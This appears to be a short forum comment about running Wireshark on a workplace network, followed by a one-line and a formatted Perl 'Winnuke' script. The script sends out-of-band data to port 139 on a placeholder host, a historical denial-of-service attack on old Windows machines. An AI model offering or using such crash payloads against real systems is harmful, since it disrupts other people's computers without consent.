Try running Wireshark for awhile.

I ran Wireshark at work once to try to figure out the Cisco crapware they used
to verify that the machine was "approved" (they supported Windows and OSX).
I saw it would be impossible to replicate on Linux.

Later, of course, the Company blacklisted Wireshark :-D

And trashed my Linux partition :-D :-D :-D

Winnuke in one line?  No problem:
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'
 
And formatted so it's a little easier to read:
 
        #!/usr/bin/perl
        use IO::Socket;
        IO::Socket::INET
                ->new(PeerAddr=>"bad.dude.com:139")
                ->send("bye", MSG_OOB);
